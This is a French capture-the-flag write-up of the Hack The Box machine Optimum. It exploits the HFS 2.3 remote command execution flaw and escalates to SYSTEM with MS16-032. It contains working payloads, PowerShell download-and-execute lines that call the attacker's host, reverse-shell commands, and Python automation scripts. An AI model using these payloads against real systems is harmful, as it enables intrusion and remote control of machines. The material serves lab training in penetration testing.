Contexte

Une nouvelle box facile, j’ai une nouvelle fois essayé de ne pas utiliser Metasploit pour la résoudre.

logo_Optimum

Nmap

Comme d’habitude, on commence par scanner les ports avec Nmap :

nmap -A -T4 -p- -oA nmap/allTCPports 10.10.10.8  
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-19 16:05 CET
Nmap scan report for 10.10.10.8
Host is up (0.028s latency).
Not shown: 65534 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012 (90%)
OS CPE: cpe:/o:microsoft:windows_server_2012
Aggressive OS guesses: Microsoft Windows Server 2012 (90%), Microsoft Windows Server 2012 or Windows Server 2012 R2 (90%), Microsoft Windows Server 2012 R2 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   27.86 ms 10.10.14.1
2   27.89 ms 10.10.10.8

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 469.05 seconds

L’angle d’attaque semble évident puisque seul le port 80 est ouvert.

Port 80 : HttpFileServer

Le logiciel HttpFileServer servi sur le port 80 permet le partage de fichiers via une interface web.

HFS

La version 2.3 présente ici souffre d’une faille permettant l’exécution de commandes à distance (RCE, CVE : CVE-2014-6287). Il suffit de passer un octet nul (NullByte : %00) au champ de recherche et d’utiliser la syntaxe de script pour HFS. D’après la documentation :

exec | A
ask system to run file A, eventually with parameters. If you need to use the pipe, then use macro quoting.
Optional parameter out will let you capture the console output of the program in the variable specified by name.
Optional parameter timeout will specify the max number of seconds the app should be left running.
Example: {.exec|notepad.}

Le payload devrait alors ressembler à ça :

%00{.exec|commande_à_exéctuer.}

Validation de la faille

Ping

Pour valider qu’il est possible d’exploiter cette faille, nous allons lancer un ping via la RCE vers notre machine et vérifier qu’il nous parvient bien.

On commence par écouter l’interface réseau connectée au VPN avec tcpdump :

tcpdump -i tun0  

Puis on lance la requête contenant le payload via notre navigateur :

http://10.10.10.8/?search=%00{.exec|ping 10.10.14.8.}

Notre tcpdump lit bien des requêtes mais il ne s’agit pas de ping (requêtes HTTP dues à notre action sur le navigateur) :

root@kali:~/Documents/boxes/optimum# tcpdump -i tun0
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
16:43:08.756420 IP kali.58478 > 10.10.10.8.http: Flags [S], seq 2421383117, win 64240, options [mss 1460,sackOK,TS val 14308701 ecr 0,nop,wscale 7], length 0
16:43:08.782847 IP 10.10.10.8.http > kali.58478: Flags [S.], seq 3481412397, ack 2421383118, win 8192, options [mss 1357,nop,wscale 8,sackOK,TS val 735879 ecr 14308701], length 0
16:43:08.782869 IP kali.58478 > 10.10.10.8.http: Flags [.], ack 1, win 502, options [nop,nop,TS val 14308727 ecr 735879], length 0
16:43:08.782999 IP kali.58478 > 10.10.10.8.http: Flags [P.], seq 1:394, ack 1, win 502, options [nop,nop,TS val 14308728 ecr 735879], length 393: HTTP: GET /?search=%00{.exec|ping%2010.10.14.8.} HTTP/1.1
16:43:08.866194 IP 10.10.10.8.http > kali.58478: Flags [.], ack 394, win 257, options [nop,nop,TS val 735888 ecr 14308728], length 0
16:43:08.871642 IP 10.10.10.8.http > kali.58478: Flags [P.], seq 1:194, ack 394, win 257, options [nop,nop,TS val 735889 ecr 14308728], length 193: HTTP: HTTP/1.1 200 OK
16:43:08.871679 IP kali.58478 > 10.10.10.8.http: Flags [.], ack 194, win 501, options [nop,nop,TS val 14308816 ecr 735889], length 0
16:43:08.904772 IP 10.10.10.8.http > kali.58478: Flags [.], seq 194:1539, ack 394, win 257, options [nop,nop,TS val 735892 ecr 14308816], length 1345: HTTP
16:43:08.904802 IP kali.58478 > 10.10.10.8.http: Flags [.], ack 1539, win 501, options [nop,nop,TS val 14308849 ecr 735892], length 0
16:43:08.904843 IP 10.10.10.8.http > kali.58478: Flags [P.], seq 1539:1654, ack 394, win 257, options [nop,nop,TS val 735892 ecr 14308816], length 115: HTTP
16:43:08.904851 IP kali.58478 > 10.10.10.8.http: Flags [.], ack 1654, win 501, options [nop,nop,TS val 14308849 ecr 735892], length 0
16:43:08.904866 IP 10.10.10.8.http > kali.58478: Flags [P.], seq 1654:1916, ack 394, win 257, options [nop,nop,TS val 735892 ecr 14308816], length 262: HTTP

En précisant le chemin complet de la commande ping, nous pouvons observer les requêtes ICMP sur notre tcpdump :

http://10.10.10.8/?search=%00{.exec|c:\Windows\System32\ping.exe 10.10.14.8.}
root@kali:~/Documents/boxes/optimum/assets# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
10:47:12.003025 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 49, length 40
10:47:12.003048 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 49, length 40
10:47:12.005199 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 50, length 40
10:47:12.005213 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 50, length 40
10:47:12.007426 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 51, length 40
10:47:12.007436 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 51, length 40
10:47:12.010793 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 52, length 40
10:47:12.010817 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 52, length 40

Powershell

Nous allons maintenant vérifier si l’exécution de Powershell est possible. En effet, je trouve que les reverse shell en powershell sont plus stables et plus agréables à utiliser. De plus, ils ouvrent plus de possibilités pour la recherche d’élévation de privilèges.

Nmap nous a informé qu’il était presque sûr que Windows Server 2012/2012R2 soit le système d’exploitation présent sur cette box. Il s’agirait donc d’un système 64 bits. On va indiquer le chemin de la version 64 bits de powershell. Le nouveau payload va maintenant ressembler à ça :

%00{.exec|c:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c ping 10.10.14.8.}
root@kali:~/Documents/boxes/optimum# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
11:14:52.444554 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 65, length 40
11:14:52.444612 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 65, length 40
11:14:52.446759 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 66, length 40
11:14:52.446784 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 66, length 40
11:14:52.448862 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 67, length 40
11:14:52.448893 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 67, length 40
11:14:52.563290 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 68, length 40
11:14:52.563310 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 68, length 40
11:14:53.462905 IP 10.10.10.8 > kali: ICMP echo request, id 1, seq 69, length 40
11:14:53.462920 IP kali > 10.10.10.8: ICMP echo reply, id 1, seq 69, length 40

Bonne nouvelle, on va pouvoir utiliser Powershell.

Exploitation

Préparation du reverse shell

Une rapide recherche sur Kali nous permet de trouver des reverse shell pour powershell

locate -i powershelltcp
/usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1
/usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1
/usr/share/nishang/Shells/Invoke-PowerShellTcpOneLineBind.ps1

On copie Invoke-PowerShellTcp.ps1 dans notre répertoire de travail, on le modifie pour y ajouter la ligne suivante :

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.8 -Port 7799

et on le sert en HTTP via python :

python3 -m http.server 80

Shell

C’est prêt, il ne nous reste plus qu’à mettre Netcat en écoute sur le port 7799 :

nc -lvnp 7799

et à lancer le nouveau payload :

%00{.exec|c:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -c IEX(New-Object Net.webclient).downloadString('http://10.10.14.8:80/Invoke-PowerShellTcpOneLine.ps1').}

Note : la commande IEX(New-Object Net.webclient).downloadString('http://10.10.14.8:80/Invoke-PowerShellTcpOneLine.ps1') permet de télécharger et exécuter le script “Invoke-PowerShellTcpOneLine.ps1” en une seule commande.

On peut repérer que le fichier a bien été récupéré via le serveur web lancé par python, dans ses logs :

root@kali:~/Documents/boxes/optimum/www# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.8 - - [20/Feb/2021 11:34:17] "GET /Invoke-PowerShellTcpOneLine.ps1 HTTP/1.1" 200 -
10.10.10.8 - - [20/Feb/2021 11:34:17] "GET /Invoke-PowerShellTcpOneLine.ps1 HTTP/1.1" 200 -
10.10.10.8 - - [20/Feb/2021 11:34:17] "GET /Invoke-PowerShellTcpOneLine.ps1 HTTP/1.1" 200 -
10.10.10.8 - - [20/Feb/2021 11:34:18] "GET /Invoke-PowerShellTcpOneLine.ps1 HTTP/1.1" 200 -

Pour une raison que j’ignore, le fichier est récupéré quatre fois.
Nous avons maintenant un shell sur la machine.

root@kali:~/Documents/boxes/optimum/assets# nc -lvnp 7799
listening on [any] 7799 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.8] 49407
Windows PowerShell running as user kostas on OPTIMUM
Copyright (C) 2015 Microsoft Corporation. All rights reserved.


PS C:\Users\kostas\Desktop> hostname
optimum
PS C:\Users\kostas\Desktop> whoami
optimum\kostas

Le premier Flag se situe sur le bureau (c:\users\kostas\Desktop) de notre utilisateur.

Automatisation

Comme les box ne sont pas toujours stables, j’aime bien écrire un script permettant d’automatiser le processus. Cela me permet aussi de reset mon reverse shell à volonté :

#!/usr/bin/python3

# Script écrit pour Optimum de Hack The Box
# Permet l'accès au shell utilisateur 
# Nécessite un reverse shell en powershell renommé en rs.ps1
# ex : /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 dans kali
# servi en HTTP sur le port 80
# ex : python3 -m http.server 80
# et bien sûr un listener 
# ex : nc -lvnp 7788

import requests

# Définition des variables
LHOST = "10.10.14.8"
LPORT = "7788"
URL = "http://10.10.10.8"
RPORT = "80"
proxy = { "http": "http://127.0.0.1:8080"}

# Création du payload
def create_payload(cmd):
    payload = "%00{.exec|"+cmd+".}"
    return payload

# Envoi de la requête contenant le payload vers le serveur
def exploit(payload):
    payload = create_payload(payload)
    url = URL + ":" +  RPORT
    r = requests.get(url + "/?search=%00{.exec|" + payload + ".}") #, proxies=proxy)

upload_ps_rs = "c:\Windows\sysnative\WindowsPowerShell\\v1.0\powershell.exe -c IEX(New-Object Net.webclient).downloadString('http://" + LHOST + ":80/rs.ps1')"
exploit(upload_ps_rs)

Il faudra bien sûr un netcat en écoute et le reverse shell servi par HTTP.

Élévation de privilèges

Recherche de vulnérabilités

Cette box date de 2017, on ne va donc pas utiliser d’outils permettant de trouver des vulnérabilités trop récentes. Nous allons nous servir de Sherlock, un script en powershell permettant la recherche de vulnérabilités sous Windows.

On modifie le fichier sherlock.ps1 pour y ajouter la ligne suivante tout à la fin :

Find-AllVulns

On le sert par HTTP puis, depuis notre shell, on télécharge et exécute sherlock :

IEX(New-Object Net.webclient).downloadString('http://10.10.14.8:80/Sherlock.ps1')
Title      : User Mode to Ring (KiTrap0D)
MSBulletin : MS10-015
CVEID      : 2010-0232
Link       : https://www.exploit-db.com/exploits/11199/
VulnStatus : Not supported on 64-bit systems

Title      : Task Scheduler .XML
MSBulletin : MS10-092
CVEID      : 2010-3338, 2010-3888
Link       : https://www.exploit-db.com/exploits/19930/
VulnStatus : Not Vulnerable

Title      : NTUserMessageCall Win32k Kernel Pool Overflow
MSBulletin : MS13-053
CVEID      : 2013-1300
Link       : https://www.exploit-db.com/exploits/33213/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenuEx Win32k NULL Page
MSBulletin : MS13-081
CVEID      : 2013-3881
Link       : https://www.exploit-db.com/exploits/31576/
VulnStatus : Not supported on 64-bit systems

Title      : TrackPopupMenu Win32k Null Pointer Dereference
MSBulletin : MS14-058
CVEID      : 2014-4113
Link       : https://www.exploit-db.com/exploits/35101/
VulnStatus : Not Vulnerable

Title      : ClientCopyImage Win32k
MSBulletin : MS15-051
CVEID      : 2015-1701, 2015-2433
Link       : https://www.exploit-db.com/exploits/37367/
VulnStatus : Not Vulnerable

Title      : Font Driver Buffer Overflow
MSBulletin : MS15-078
CVEID      : 2015-2426, 2015-2433
Link       : https://www.exploit-db.com/exploits/38222/
VulnStatus : Not Vulnerable

Title      : 'mrxdav.sys' WebDAV
MSBulletin : MS16-016
CVEID      : 2016-0051
Link       : https://www.exploit-db.com/exploits/40085/
VulnStatus : Not supported on 64-bit systems

Title      : Secondary Logon Handle
MSBulletin : MS16-032
CVEID      : 2016-0099
Link       : https://www.exploit-db.com/exploits/39719/
VulnStatus : Appears Vulnerable

Title      : Windows Kernel-Mode Drivers EoP
MSBulletin : MS16-034
CVEID      : 2016-0093/94/95/96
Link       : https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS1
             6-034?
VulnStatus : Appears Vulnerable

Title      : Win32k Elevation of Privilege
MSBulletin : MS16-135
CVEID      : 2016-7255
Link       : https://github.com/FuzzySecurity/PSKernel-Primitives/tree/master/S
             ample-Exploits/MS16-135
VulnStatus : Appears Vulnerable

Title      : Nessus Agent 6.6.2 - 6.10.3
MSBulletin : N/A
CVEID      : 2017-7199
Link       : https://aspe1337.blogspot.co.uk/2017/04/writeup-of-cve-2017-7199.h
             tml
VulnStatus : Not Vulnerable

Sherlock nous indique que la machine semble vulnérable à MS16-032 (CVE-2016-0099).

MS16-032

Encore une fois, une petite recherche dans Kali nous permet de trouver un exploit tout fait (merci feu Empire).

root@kali:~/Documents/boxes/optimum/assets# locate -i ms16032
/opt/Empire/data/module_source/privesc/Invoke-MS16032.ps1

Comme précédemment, on copie le script dans notre répertoire de travail afin de le servir en HTTP, on y ajoute la ligne suivante :

Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('http://10.10.14.8:80/rs1.ps1')"

où rs1.ps1 est notre reverse shell powershell précédemment utilisé. On prépare notre netcat :

nc -lvnp 7799

on sert les fichiers par HTTP :

python3 -m http.server 80

Enfin, depuis notre shell, on lance le téléchargement/exécution de l’exploit :

IEX(New-Object Net.webclient).downloadString('http://10.10.14.8:80/ms16032')

Les logs HTTP nous montrent que les deux fichiers sont correctement téléchargés et exécutés

root@kali:~/Documents/boxes/optimum/www# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.8 - - [20/Feb/2021 12:36:36] "GET /ms16032 HTTP/1.1" 200 -
10.10.10.8 - - [20/Feb/2021 12:36:44] "GET /rs1.ps1 HTTP/1.1" 200 -

et notre Netcat nous montre un joli Shell root :

root@kali:~/Documents/boxes/optimum/assets# nc -lvnp 7799
listening on [any] 7799 ...
connect to [10.10.14.8] from (UNKNOWN) [10.10.10.8] 49176
Windows PowerShell running as user OPTIMUM$ on OPTIMUM
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\kostas\Desktop>hostname
optimum
PS C:\Users\kostas\Desktop> whoami
nt authority\system

Automatisation

Comme précédemment, voici un script python permettant d’automatiser les choses :

#!/usr/bin/python3

# Script écrit pour Optimum de Hack The Box
# Permet l'accès au shell "nt authority\system"
# Nécessite :
#	+ un reverse shell en powershell renommé en rs.ps1
# 	ex : /usr/share/nishang/Shells/Invoke-PowerShellTcpOneLine.ps1 dans Kali
# 	+ un exploit en powershell pour ms16-032 renommé en ms16032
#	exemple : /opt/Empire/data/module_source/privesc/Invoke-MS16032.ps1 dans Kali
#	+ le tout servi en HTTP sur le port 80
# 	ex : python3 -m http.server 80
# 	+ et bien sûr un listener
# 	ex : nc -lvnp 7788

import requests

# Définition des variables
LHOST = "10.10.14.8"
LPORT = "7788"
URL = "http://10.10.10.8"
RPORT = "80"
proxy = { "http": "http://127.0.0.1:8080"}

# Création du payload
def create_payload(cmd):
    payload = "%00{.exec|"+cmd+".}"
    return payload

# Envoi de la requête contenant le payload vers le serveur
def exploit(payload):
    payload = create_payload(payload)
    url = URL + ":" +  RPORT
    r = requests.get(url + "/?search=%00{.exec|" + payload + ".}") #, proxies=proxy)

upload_ps_rs = "c:\Windows\sysnative\WindowsPowerShell\\v1.0\powershell.exe -c IEX(New-Object Net.webclient).downloadString('http://" + LHOST + ":80/ms16032')"
exploit(upload_ps_rs)